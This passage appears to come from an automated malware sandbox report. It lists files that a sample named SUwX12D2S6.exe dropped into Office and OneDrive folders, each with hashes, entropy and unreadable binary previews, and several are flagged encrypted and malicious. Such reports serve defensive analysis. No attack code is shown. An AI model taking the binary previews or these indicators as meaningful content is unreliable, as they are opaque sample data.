Preview:	.<?..s.......R.......:...?.).]..Z........`...kO......U... .dx..u.cw...^.@._.%.).^.T..O3. .2..n.j.8ap.`...{...5...I."J._WS.)h.....s........%p....\|....\|..x.@...f..q......9....<....t....x.O....2...D..K..HL.S<.?..w_.X...O.Y5....=~zN.+3...^.B.C.M.8...t..<.R..;...?.C.,w".NwB...1.....-.R.A..5s..t....-m..qw^.4.X@&g...I.~.@Z.j...u5...HC.......S..o....$.[@....C..O.79....bJ..\|..:&AL.1..Z......_[..,.~.,J}.H...X[_.?...8v.B.-.....\.w...u..[i.,...E.h.'=.I.c#...E.`....]'.....H.]......-zB..{g.... %YzA^C.....\.....$....._......m...a.g?.........u.F...a .=....a-.I......f.\|..z..c...=.^q...4XA....~]..t.=...].+N...a.y.2M..gm...xs.M...5....D.....rH....V...n#..\|.....................hitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule230104v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	3148
Entropy (8bit):	7.9370345762367
Encrypted:	false
SSDEEP:	48:BclppT/XVqVQpU7cDSz6zGfM4mNSEQ56Pmvb9dr1zL7Ds1nUD6FD:QpB/U7WSz6yMSaI97zLdm9
MD5:	3472B5F36D1266CC417E1ABF3AB10AEB
SHA1:	1EA78B31955E4FF48B43528B57EBCECB2377EC36
SHA-256:	2305E875864260EF8BA3967BE3A4EB02556F0967DBEC200A01C9B555D535005D
SHA-512:	5029C0527250364339E7D3B8273D51A79075D41E7AEEE3D4F7A55A4500ADBD1C1BA016B2037AC9610B33FEF975FFFDC7641C95040B76965A694F0E3FFB49FAF9
Malicious:	false
Preview:	.<?q...C.m$C:KS....<'wy..P.SK..m^a.}"p"..Q,..an.s.5.u....s.q....>.q......y...?.7..g..+.Q..X...@D..pAA..Y.er..\.....m.K.x.d.t..\|.a'......J<[Z..,.R.X....bS}.k.O<...S. .d.,.H...Ko. ...n......~............#.zW_c...).C....x).z...s.z..x.i@.(;.o..S.....m}H..L.6......!..1K..!.~...g.... ...y.>s.8E.4...+../...Z...(:.8.w.jVzc.......K.?.h.aQ..8.xf=.Y.3O...,K...r.M......l$j.-.r.]...<.<.H.M....!#.1.G.+...u.......\|....Q0.u..!.B....X.~.wP...;...(...P.\..w.].(.5.0.Q.!9......Q.5.._......E.&..=...R+.%n!T....FK..2.....Fk.;'.O...#...-..Do.SoVP.....n...i.A..J....b...."_........>PM......-...s@.A.....kh..g.....4d.>...y.cb.4.a.....p.a..H"/......y0...Uj+..[.~....`R.B..@...=.j.u.v..>..0+..8Kf.......z.....@$.MS..OC.K. >x.:...@/H......V9".5....5zj.......N....j.um.suPmT...R.E.J.B.....i.c..yK.........O..`..).F#E..^...2Y ....i.....f.7..u'%d.."33.[....]U.@.um.d.b.,...D$SD..J...nq.f..i......$...ss.A..$5.U.}.......ic>......PQ.b...+.`g....kc..*.&<.j.3.!.E.!.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule230157v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2238
Entropy (8bit):	7.911378653717872
Encrypted:	false
SSDEEP:	48:AcFEo6PxKPaKBu1vTTdvn4UWWKwr+jOZ/sESU0NSkeMX9YFD:ACH6JKduThnMcr+jSEESU0hX9Y9
MD5:	AA4B4742F4BF434C6E665C674B87C091
SHA1:	C4987A427E2A845F3E3D1CA9F82CC89FE11D45F1
SHA-256:	BE4CE7C1D07FAED66D07EBB63E9CB9310CA98256B38793162419314917694892
SHA-512:	12CB27F437B0BF02A797F68F06FA3BA3509769C6A736912FD63F121744C27CB3B5AC64D6033FD7B5DD649FB0FD6DEC73E51D1CDF8BB2A26E0D698F4257D493FB
Malicious:	false
Preview:	.<?..Z....f8......W..)Y".@.RG..`.../.X.pB......l. .-..R.....Pd..{......}:Z.fH..Nt.-.(2...4.r..ll.<.h..\.8{l....5..w...5....0hBe...85.Jv_k.2$.cxa...#.w..{.yi.]..K..@mh...z.......Y.\.$Y....?...F.......^"....n0.X.c_.q....=.m...!.Cw...CA._.e.pA..x.op.t..../#.?.a.d5.R..~Wx.......[.Ri.Ui........0..:..O.d..L.....!.t~..q.$Ts...H..6SAL..x{.e(.9.........8K5l./E...E.X....U.............0..A.-@wT.r8..Wk........hBvX._..=........;.....o....Y5..q......."f.....%...h..xh..J.mg.D.cG..?.S..!.;..p4p....@8.F5k.....M...U.)oh.<..0..0.V.GB....(.p...I..... .,.....T.........5..\|h4X.Y,5"...t!4...3.."."e*.b....T.......1..v.'....T....f...a.@...1n(......2...~....{..Qe.^.&...-.....}rM..GB..ZDn.xS..NP..._.Y2....b..&j.'u.%'..VS..K.:L..{.y.-.[.$.Ip..r.G..7..."...}...........6b.xBF.f...l.W.....B....Z..O..>......}....?.\|..j.........y..1e...F,.....Tu..._.3. 4L.N.N."T..{...-F..R.[..T.......`1..)V6....?!....Yc!......^...+.=..m,..n....r.[I..?P.7[ .d..3G...R.E..d...B.W.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule230158v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1925
Entropy (8bit):	7.918299821681601
Encrypted:	false
SSDEEP:	48:zP4zhQZ53jl/EDf5EqpzxGEaV5ugeq6+dnrIefs2FD:zP4w5TquqNvgeadnu29
MD5:	CB1FA52A8ED01F0FE540FD125C2D4804
SHA1:	AF48E09A54BF18414DE0D7072373D311FD02064B
SHA-256:	9C8A67A7A3B9A560C75D39DBB67D69F986C1DF42DF82D982BDA06B85D81FD971
SHA-512:	4BCC408FAEE5791F53CE8B6D6A270A111150056C93C3E64A4984E805BD9B9FAE3671B7A7CE082F93EBAD614E2ED68E8000983E4449C765EC188D4B6FFB653BE4
Malicious:	false
Preview:	.<?.:UDB..3.}.Y/.(.....n...Ad.)...........o..Z"....U\..,.'.M.+...T...O.E....AP...h.&..y.GeY.h.d5x~qj.....].:D.[.F2-M/.C. 4@_M.b.)....;..".W-..-G4.}..8Nr3.!...5.R.!..UIC[.l.v0.....k:4........>.o.5.1X..i....../.R....-...rP&.'C..P..[...8.e...O(.5q...a.P........F....+(...])..........>.H...4.Ql..........\........d)....w%T../.......X.......\|@...\|s:....0....z..._\|C..}Ho...wn2.._.8..[......v.98..w..j..5.b.^o..E}.3XX.=.q....1b..L..=...<..b8......k......h..u.C...Z`.....0..fpD(+.k^...R..1..$....am:.-...........$..f...]<\|...l........;.!..p.t.P.@.8H..ou....>p....J....J..>....d?.J....1.!.ug.......z3R...>....xg.......J._..}Gn\|L.:........."....c%ARH...I.w...\|..5.0Wh.%/M\!..Iiv.[Zo\|...n.....>P....{..,.(z.....l..mm..4.a..gl........2..(...S....i...)j7.....d.........J.+o.`P..gg..:..)..S......V.{L.:.b.z.6.s{Fl...)<U..{...\E.3..a..t.TG.1.HYJ.._gGk#.Xi=...1........2."..5..e.{p_e8.8.O..D.#.h...N.T.K...Dd....S.6J.>..._.B.$.t@......j.M_..u.....$.......\|....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\setup32.exe_Rules.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	135031
Entropy (8bit):	7.998550216592516
Encrypted:	true
SSDEEP:	3072:/gZz3HJCte0ilB9j/c6faIw44amaGY0izkpGo:IZz3HJI5ifN/RfaIwdFaGY0ekwo
MD5:	13A4E7485761628C412E8AF9806FB15D
SHA1:	9103DDBA9C7346824DEBDD0AE15DFC3058651D8D
SHA-256:	13B18A63983160E1CBB9A79806526891CA7CF5D6205D97B626996AC3B534CC79
SHA-512:	88D6B67E2DE17996F5735C7F726B2F8A434C872D1CD4A05403FFD2A37EBFF4E29D059FC03767A739723034A33BB02A83FA49E76DC3C866A127D869F1280F516A
Malicious:	true
Preview:	<?xml...\N.....~......pB...~.......QB.#...).....m.(......#`.idpAaq...b.(:n&......{.~.....D?....V..3H.+.......(.\.9^w.-..G&.s...:...26kE8.g.-9.......#....Way<d..wV..e..V...M....M..T./..Z\2..K.4.b.@.r.N....g....It.+....&.3.....%.>+..\|.d.7..XX..`....k...:......N....,.n.z.......G-0...{..O2...n.cj<n.....M...6'....o.-...f.1......6.].....#.9c......s'=........3*.\J.B.~./,."m...............h..r0...y.W....x.}..B./...$......"...(.t...".PR.EE..7...UGj.Z..Y/k.^..%........V!.....6.=..S..teP..O.E M6X..&]P.B...t.-8..h.o.N.(....#.+:...h.].X..h...`.9........'!N....,..H...on...C\|.s.....c.n2...b&.j..,.,U{.<.(9.~.K?..P..=".q.er.!..\Mr.$'..3....M...!Q.B.=.C!..(....y:......"......Y?..-.....j...\^G7.."y...NM......O&.......=.B.@._.=.....pO.^....2.,.w. ..c..Fj...JR.S............c.E.wq.......z..h..B.k..5......6}.......F..He......$..w"..g&7......c...?.8..s..+..@..y..Q>....+...b9.g.P#W.'Gb..h.......mW<.6..L....x.+..}G....(a5f..(..P.....;....pp.0..`..Y.\|......

C:\Users\user\AppData\Local\Microsoft\Office\Features\1-3FeatureCache.txt

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1152
Entropy (8bit):	7.824465353774778
Encrypted:	false
SSDEEP:	24:Y/WDL3dVerTfkTR8eM7relsBDlG0+izSo+xQ5+yyFTW+cVbD:YeP3dVeXfkTRy76l0l5+ib+xQ5+yKW+k
MD5:	7720D9C481A3834090EE462E597E3AC1
SHA1:	0475A26E8288F02A95240045E6AB160F4939A161
SHA-256:	2B80CD7ACD4E55C22B2CA3DA2BDA4F01945BCBB84ADF1676A13BCD69B2205798
SHA-512:	F17D09E27305288B18345DE719F75FCBD2948CD326BDFAB81C134C85103F32F3E2D71F76AD935A30D3F57EBA01DC659A7E9E4E2B36A39430E47721E4AF5A382C
Malicious:	false
Preview:	1.1.9e..@...OI...{cE@..5......Z...P%.=.2.d-43..Zc.8Js.?.z>...C.iK.TKY.`8..3......f..b#...;...s.{!...cu2..!.(k6.n..h...<..9.c4......&........Y.z.$.K...Kz..&......y(../...).h.>.y.P,g~.[.a307....3...........v....x.G.....cc..,.G.....]....3.^=.ePp.......,.......b..2.p\|..#..$...T..?..>$.I.\|......,... p^w..".PC.._._.5.;.>..H'.....e.^.Xz.....Ja..3....Q.10U.%J=..}.<Hr.+........+..%..,aG.J...(-CL.Q..K{/..=.2.Uum......<...........->6M..4#s.1.c.M..m#....F.6.a.a..c(......K.T.%P....k.....KM.\e...9.z....R@.....S@.....Y...W...Dl)F...J...K..;.l....3.c$].Fb....l6/..^;..._k.....\|...:..(.Y.+..3Fr...e...U.\|..a..s...f.6M.e....3.K.Q'..ly.7.D.;<.P...c+.G&.L...A...5.?.....\..^.;.2e.<..e...h.]/...R...M7.._.-.E..)...$E..N...m.\..<+.N...L`s...N-b....C...'/qCn.c#Ly...Y.'...u/...P..J\..."..L.....F...C...9.......\.P~...W..._...e...=.I=...W..oGJ.e...ju.....g3....u.....n.A.n\;...._h=..LJ.tER.)}7.......jj.&`.<WQ.mEICP.>...]HMY...F.kk..8..$O.dX..:...L;x..Fd.....n...f3..z$)

C:\Users\user\AppData\Local\Microsoft\Office\Features\1-7FeatureCache.txt

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1170
Entropy (8bit):	7.8212102982981
Encrypted:	false
SSDEEP:	24:t/Mxu3qtlt8+FiKrVHlXJckG64k46GlnKHHY9aDdiTrkzxrzjcVbD:t/MCYlt8OrVHlXykpGaY9A8rQxrzQFD
MD5:	B1C0379B9133EDE227E366B5CA08F483
SHA1:	96C4085D3E1CE946154DECEC9C0C447EA76292E3
SHA-256:	94C119DFCDD43470157006F0B3D9F171B1C5CBD41C7503EF777D870AB5FBC9CB
SHA-512:	24A360F6175164A8FB095827846EE403918BB86D69BB1EA09DED84A2AA51D8C3636D4913681EFEF98D233777213CEFA3CD7A53495A944D1EB444C6CB2F79F4B5
Malicious:	false
Preview:	1.1.9.`..7.........Z.${.....RD...MR/..4(e.].............C.<..Nlz....O_s.....7.m.}..0.%.ej]..AS.s.......4:.r.1..q..s.V(.w:T....J..?=....w.O.Q.M.11../q;....-X...K}<".~M..d....[..b..=..biF..U.._v.f.`....h.".E....J.[o;.../.V...S....Q..\|.{........P$..9O..a...[.. ...k.i....}.$#k.{.y.1.Tq.V.W....J..t...Y...<..,/.......6...>B.`......~+.f......s......9..\|4..RQ>.K#..X=.+h.jp...k....JI.Hl4.7sv.c....6....=..?$.'L..0."..D.&:ST....Q.....2$..kA@...-..T.....,.Wc.....p.......p.L.,~yE.....>..=\|?...U.L...[.-?..0..`.@D...A.......N...u.h...f........S.Tk4.:..A..<$....;....kj.'...,48.&.:.\|....1.].F.7b.[s.-...mg..Y....;P....U..{..5.jo.u..Z...W.".vC...NL%5.$u+.YPgz.k.....=.+..q.\Y.....UH.WL`.=1..,..Wni..jS........Yb.....!.d....e.l.9t..sg.,..v..k..D.O..jU..*..b....\+.Q......@.4u...yf.FP$r..D.z...#...j1{sx..p.L...`.m0.........'.a.hT..M...Zz../]9...1.oU..\|Q...0...4.....Lh..!.......j..P../......y..<D...>G.Z9..].....\|fz..;@......1l.i....\"oHt.......

C:\Users\user\AppData\Local\Microsoft\Office\OTele\excel.exe.db

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	37198
Entropy (8bit):	7.9957386066156655
Encrypted:	true
SSDEEP:	768:UDL74UABVMyHt3jXJ4YoZ44vDbswdAYMSnTLY4ue0rAHwUkPJpZzF9e8:CL6BVMy5bJ4LVfswdAYMSTLYNNew3PJH
MD5:	005CFDE0420ED7FAC07E161B9AAB2CA3
SHA1:	CB592753AE1F5B9F92AA9C2335FB4EC1CC20138E
SHA-256:	DA113B45DB99123055BB2E3D20B6FB1B92B4808FFAED7F8E3A452A5AB77708F2
SHA-512:	A810E1363873A0FCD75C963B3247F61A8041709A17F3EBF089D4752A9EBCDFA929F428A590768B8D4B69EAF96B305C359C71CF54745EBAFF7EB628DFC029E013
Malicious:	true
Preview:	SQLit.9_..N?u;..N...O~..}....T#.bD...M...(.<.u.Mb...m..<.q.E'J...A^.6Zj.....a.r!..7(8...b...<.pL1.........t...#.m.C.S.g.~..\....^\|..c.hj'y..O!.p=&........].&).<l,............+..p.?8Y..;.k.+..P..=.....s.......S. .1...u."3..$L.K.......J.fA.u.61...7...QA.mP.u..E...=.8F...wi........Q.."yV....O.YXf...g.!zR.vj.....pC(.-..j.>$f...@.ve$.q}.$..\|..B.ly...0.={.$1.k.....x.I...=n.6%Z....b....a6k7.......X..K.G.S.5.....q.w[9...D6,.;j.......a.......K....n.Tc...R..60.+.X..~.~lw.F..eP..lD.CM.}.Q...M.w.s..>....f.].)..U`.).4E..)L@..V...3^:A...T...1`.rndP.L.r."...S..o.6.yp...x....e......)...s6....D...w.H...J.l..z_GS..}c........&.pbQY.I.Dg....;.M...P..s...#..."{...,}2_.?.N.Y.(g.~l-?......+WQx.ot>.....0.......Fd..9....d......27j.5.u....7.q.)'.0.++..%..E.[+@....".`..h..b.R._..F.c=zb.hK....T~.#T.Uz..T!...@w..eR..q......8aUv}.....x..u....S.)%.....D:.X.s..R....E....31d...Eg..1.{:...N....=yde1.XhvA_*..m=.....$<=./........_.K.....u~...........c......)}..?{.d{..aH.Yl.

C:\Users\user\AppData\Local\Microsoft\Office\OTele\excel.exe.db.session

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	20814
Entropy (8bit):	7.991428194948921
Encrypted:	true
SSDEEP:	384:Vu201y5oonO+YxQqXXqz1S8IHJ7U4Qkz6zPbYFQ/dJKEpDKV4O:Q2Ey5oH80E1S8mekwMIdJjpmWO
MD5:	6A08F860157D94784F5A8D14A6DC7DC7
SHA1:	7781F03739D72024B9BB880F9C971BB3A670002B
SHA-256:	9395C3F4B13621118797697D474BD94534132106987C6620369F422D7F3724BF
SHA-512:	39F477CDD486782CD60BB6898000B54610614446913BD8542D9329087B33A5648FA85F3BC8C6FCD2724E31AB28D8CFCEF8169A5AE3D052494A627EE615A23D73
Malicious:	true
Preview:	SQLit..V....?..s......S.jf. h.......A.)./;..Q....~...]...p.C.......e.V..sx....b.o..E.....[.:...'.oQ..A.b..R.\|...IT&..2~......!&..C.2f.m.,...t.b.2...<.jD&?..Rv}..LHvrc.s.x...;...2R..../........O..0.qb...E}..........8..'.u.A......Hf...J....&...T..\}..-..`!...,.\|7....4a@.Xy..=../9....mKA....E2].....!k.17...3}\|=..e#lw.#...3O.......O...6.Nf}..c@...'....z..4.A-v..../.x.-. ..#.x0G..B.Up.(p._.gM@Mdr.>.P../.\.^.<c.pai..........C.sqx.I.R..6....'.:..~=...~"V..7....z....pK8y...;ym..=....3...N..>q..<K...8U..$.x:&.E+.N..5..H.\.J..n.O.=..r@/.{.,jb..:.`.!.w.c...A....?%..... ..1.4".2..y....B.Z.@+.QwD.......N....A..,\|\|]..w.i.)z.....-S..a.8,aL..1.gVj...5.c.s.\.h..@.......c.=....g...C._.>.C.P...2.o.G\..\.Gy.......!7...\.....g.q..U..=.M..3..J[rp..~.N...02^./d.X...2..n..4.2...a.L...I^..K....t.QH..G....h..0.q)q\F<Xk9..?...K......s....=......n).n.F.....Q}B..[F...`hj3.-.%.Tu]-X...m...d.6V.x?+.;H...4....].K..V.?x...Q....L.k..X.J_...I.8....9).V}..*^...>y..$..j....

C:\Users\user\AppData\Local\Microsoft\Office\OTele\officec2rclient.exe.db

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.99275523764275
Encrypted:	true
SSDEEP:	384:ca/Xbl4bmr5IVjslmycD1SSr3KXtx4cKSNd+OMwTw9JOofvPT5WdrBVAwFMlY:ca/BrsliXtxvKSNdYOldrBYy
MD5:	E0A23879B87106DBFFE6B38365A1E5B4
SHA1:	6779CEB654B0CFDB8EAB2E8C434EDC1B0370F72A
SHA-256:	57A0A3E7E456E2FE5EA6CC92CB8BEAC0DC2C1D93BC7AEEEBC8EF9B5822672A47
SHA-512:	8C0932C37E68D76C1A5122A57C94C6F2BB6B71E13899253A42829C0A8CB56E050EFCCE023597B69B0D3E066CCA280DAD13E28859918C3633A99351CB8317DCDA
Malicious:	true
Preview:	SQLit........S.?2Tx[ i".@..2,Y3.....`>...e:u7E......./A.D..L..F..u...[1f...NC...........l.D....T....r...=c..,Y[.1.....%...2.Eb...aq....Y1.a.XUWV................%..qa.cOAc"..!A@?...'...`.G..-;<.^...R)......m?. .%.D..y.#e..`B_...cw..o.#e0.e.2...S......!t....L~....&.K.og..{.a.u..{.EZk..^.._]...YRJD.I.3.......pu..9..F..vI......;..4._.@~x._.mw+7.!.Z9..3g@.....d.1.../%.$.-......k.\X.<.w.q....!B.......G{...oA9`:.I.._.V.8.3ar.(d.?.G........qN...;-.aWv....[... f.5...$..t~?Q%.2..X...t.3.5.."Y~....un.Q.sk....;K.'.S.{ZP....x.....x.9...P.).].O^K........%?..fi.....\|U.\|......:...2/..xP......RW.......\S...q..-c.)v.....>q.....IB-}.6..skA...`.\|).......;......m.I...S....B....'.f......_#$fo....i.. ./.........+$H..2..!B..oS.\'.....,.....I..A.[.u_..QS.....n.?...6r...............u.G.o.ospq.....Q..._.UQ!i\|.....v.e6@..O"(.."..v...s[.....[D.4.wI.>p.)..c2....+.CwD_.bm.P...$....P....n.0N.._.%d.....ym.^.....g....,./..Cj.59.l.A.#!U(.XI..6#.R.m...]...".....7.&

C:\Users\user\AppData\Local\Microsoft\Office\OTele\officeclicktorun.exe.db

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.993740011643368
Encrypted:	true
SSDEEP:	384:va/aO+Qh5jLN6IDSAPMyQCXfsmFlhb1Kh4LhCd+g3V+sWMbI/sZi0bn9e+qSdFDl:6bDj0IDS+Jf1790Ig3Msk0bn9eqDlD
MD5:	4AE18509D161DCE069FBC7D4E29964A7
SHA1:	A54E1E272B8EF5F89C7092FD85E84FEE1408C69F
SHA-256:	D0B0D7710E3D29A2BBD450700B9074B5FA115CF2CC1852F5E978ACF93EF5322A
SHA-512:	362A3A876A7FE4591E79F7F703BCEFB331AF033497B7078241C3C0B145FCFC304608FF4C068E07438FD1BD891AE4390294B006450C02F1DF6F82C79B44F3E85C
Malicious:	true
Preview:	SQLit....F.+2]..C".?}.TPo.>4...R/.40..j......(.!...r..._.D...........n.>U...^G...WXb<...g...Ts.7Z.:./R........4.k..E.5......_g.u_W.....1&..8...+.T...xa...e..:....R.4.:UAEn;..pJs..Y.7g77El\..Y\.}...TTl....b.W..[.~..a....\|Y."./O?I!.{+..+s.....p9.+.`......S.7......#"J...$.hNB....\|.d.....mf.........".[.\..\..:.b[1.;...Q..i.i.Ag:......c<..Z.TSj......).<....j..},1A,..bE.`e..+.n..b;.AQ..:.9d..JF.h.....svD......)>..)3>.l.FD..$._z.ch.u..."Kx../'.5v....a..nu.C^f.....$3.v...C.....VC'..[.HNM\.@...Ch.^u..2..2#9..%?..L...XRL..o\W.?\..'....E.]h .P6..v..'a..Gk..Q.\|.....}.r.[...\.......\|..s..j6.a.[.?......S..j....~[..D..6.<..\.g.5....".../.iy.0.jb.a0.ww..%.R..w.... .e...x.'..:.7u....2.?....t....i...!T..!.i..&)..#y.~...(...x.....pd...~r0.c{W.$..3.X.sC.v.`l..\...0s.yn..E+e.tZ...`...Ta.x...C....`k....U.;. )...RU..Y...,}.KFy.q..........[..~...k.6.T...l...............n....J.8....p.D.j.....Wx.ij...:...W.{.._.(!.p..-!.......J].(.J.=0.!...3.Z..?..&V.

C:\Users\user\AppData\Local\Microsoft\Office\OTele\officesetup.exe.db

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.993018888144913
Encrypted:	true
SSDEEP:	384:65cQY8yREKTP7oZTi038xx2LhOPtbeN/TGDIu5SmyA2b:wxYHWiK8xxwONFD2Jb
MD5:	0E9D585F18A9C761E1E1F9CB2171FC18
SHA1:	729E1957722845F283103441E09C4042C104B20D
SHA-256:	49F79B6E587BD74A7E312C5CB8B04B15427E03C933F955D7804A7494D30533D9
SHA-512:	9A71DE337BFB367EBC7BAD4640138928402173E629256704BB6D3DF3F0E326FB7D9687F355FA0948C772828683D991E5E685732B844AEA0E78174BE4B9A38347
Malicious:	true
Preview:	SQLitL.I3...x.vgV0...b..YL....)>.w..%@.4T..0..:.]@9..<..;...QQH1x;:M....5........s="...2J.#...,F....!.N.[..T.d]8.bM..(.Z..62..\...._..^.>...T...S.A.....o..[..1c.7/..L6..\|.MD....Aa...%J.U.....<.^I....N...\|.NE..g@..R2......d.?>5O.bi....o\L..i.N..v.........G......?tW..ipL.C.........6...%_.....R..\|...l.A.=o....\.;=d....'.$i.=......,.X..>,.Y.3..0.7k.']..%y...KI..7o.Xw.a.F.......>%..~.y...l....... ...'z.rB..{.\|^p.X.f-G@f.(.....<.&...W..l[...lOT..oM....r.RqL..Q.}..cC...[!z.....:.uf..A u.M.!.......^..B.~.k...,....@..g....u.i....Km6....jb.....iJ.z.y.}@..,s..i....zP.Q.u:. .z...j..6.[Q...0.....-p9.O!.s...U....Z]@.f1.X...XP..o&s.0.$..^..yC.Z.CJ...m8y..6ir....Q&....r...a7..5i!......'tC.......Db1..z0x5.Cg.RDo..yH.r.Ur.{W..2.v.;.~.:.N........ejD.......T....(..+.XU...P.6.T,.?..i.B."..(..g.....H4..o.--.Q.dz=.:w..E K.1...u4..u.;......7........l.`. UZ.2...%"..A.-A........"Y+.0jd.g......W$L&mV......W#zl.g.U...[..e..eI.&.pS.>.....m.hI..@..E....^.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-03_121144_6972-6976.log

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.725815336463438
Encrypted:	false
SSDEEP:	384:SdGF2jnITSYfn9EllmiNV+lvYhZb24WAZcJJr:bFqnhYfn9AVNctYh52UcJJ
MD5:	D178FCF5C6232E4F02A7CF5C92491E77
SHA1:	DF93F6141FEC144C1E5D5E7EB7F55B5307ED66FB
SHA-256:	6842E0EBF584E97A898DAC258500806938F3F0538B9E3E00417B739119B50115
SHA-512:	B81ADADFF85CC94CBA2D5588B2673EE9F362B7A6BB97DAA376765E28C7B4D56C7A5F0704DBB24B5B46F990486FAE19795A3D48114F2759FC657E9EA7D7C8D361
Malicious:	false
Preview:	1.0./_.{.T...^\|.:...g0U..~.Y..`(..1..(.>.7..<....D..,..B..Yl4..!]4.........a/S-mR..\|E+..L.w<h.8.b.s..7S...8[...S.Z3.......#F.74.0.]L.)....D"c.5L.s..6)b.Q...h..\.......+...D!....MC}..hl.5ba... ..S....=.;l]r..r...i...;.^..g.Nw.......2.............x....!....LD.4S.[..^):..p..0..q....=..".$..%..j^4...XA.V.cj.'L...A.A/.".I`....:T/.I.UiQm...0.`eC...z...^k.4...pa..96........\..`...~.o.#...9....<. .fQ......0....RMx\ .....:o.~M].B.N.b.s.H....}0}]..@0lq...-.;.s....?.]....L.'H....:...jJ..2...^..3.w.Z.{uv@......6.I.....VD../=.,...@X...I....yo..Y..(...i.......f4.a..@..T..N..T..?....N....Qp..\|v.$.......h\|(.4...a....P.)....'95.V....kef.17.........\J]%...)LF%w10..2\|..."->.3....g...y.%"..b-.7.t..........ZG.G..f.;...\|.=T.f/.T...W.seP....3.y...X~.p+..;IX.mG..}[s.'O...a.W...J...X...tb.@..G.....Z./.a.......zTL$..W.].a.C...]..h.K.p..H.P.\|3...yA%..[.#M ........,.9[...6Z..\@.s....J..Z.-.~l#i.&...g..m.F...4....%.[?.....FqV..q.....r..h.Q...E.......[.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-03_121212_7980-7984.log

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.602655474933024
Encrypted:	false
SSDEEP:	384:xDTyLY9iMSjuawE/CG3j4B6AiyDCOileidlDPx3:w0A3UeBleyFZ
MD5:	68FE0E0BFDAABFB4388FD3DDE5FEB2DE
SHA1:	EEA9343735FAD1CD4F105CC3992BD0BF462A77E1
SHA-256:	20BC1C787D267D3C0598E0C8887051313DA9D7FD608D0FC216A2B3E55F63A59F
SHA-512:	9AB789585AE8966484FC9983E607A25F563703329FDB0CA9A49C6A7D7501BA255B78423FAE7B547C751F6F50AEA4F73FCABC03E7A6B179D7C8CC39773B3F6408
Malicious:	false
Preview:	1.0./-......d......J..N.k..).x=.X.iA..8b. i^..3....G..r.}.0.sk.Ru.X.....;... .,....4.....X.}.+..R0VI@u.Y...q.%.e....q..g9.u"....7!.Y!..eL..G.MY...\ PM...>.......3.!......K..C..zb....K...FJt......L.%.-.G....%..D7....8!3...l..c!..R .........._.J.i...D6....Bn..Dj....sNw..y.-..B....b.J..Kx[,..d}.j..r}....v.]]y...IFVW#nJ.\..:..L...Q....u...W(....)R:F..c..3......w!.\.U.fT.I.._....j...;..n.....O....a.....~dyV}.f..vTz.&.N..QG....>.sd....7...+z'b.m.?jz1"I..l3...X%.....O......ER............OUT6O'[..:C...PV...p...{.'..)z\hr.D.r($..."....;..v\|4...V..../..1..Z."..J.w..Y......X..\.....a}P*...5...4Y....N..j......_G0v!.}!..{.....`.QR;.w.B..+p=.J..=SS..-..}...[6.}.IH.....J.......B.{.]-\|...8.t.O....A.C..E.J..=.l.6;.8...=,^y..+.c.\|.=U.i..I...O.6jlqW/.....kh,.U..!....._?@.<Yw7~.i....._0&A...N....M.....=.c;....+o.....}...A.F1.M.....l.e..iDf......q{V3...._.Q....i..A&......N.y.2....%.?....~....dY....]r.R..>)...G....t.&.lp.h..M'.}..s.>..........#..<w.K.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-04_082907_5964-5996.log

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.377336904719734
Encrypted:	false
SSDEEP:	384:Mu8F9t+THtn5aNQyyGcl3EnBAbL4YAEpERAepP/6y4d8:FiG7E2gBAbL4nEeuC08
MD5:	581F03F517481561E1EAC6DCC242B459
SHA1:	CDD050D5399AD6FEEBEF4B832A0F185D5D8D527B
SHA-256:	D87DEE4562E22C9B7384A929EF34BB7FD71B6D7B42852BB0FB768159686E6B15
SHA-512:	2435ACAFA9566FEB7A238D52444A78179980AB1FFC38625004E14D3CB9C6FF7DDCBFD0EBC075D08F1FCE63C2F16DED9ABBB4154C3819D0A8130514D678FA4877
Malicious:	false
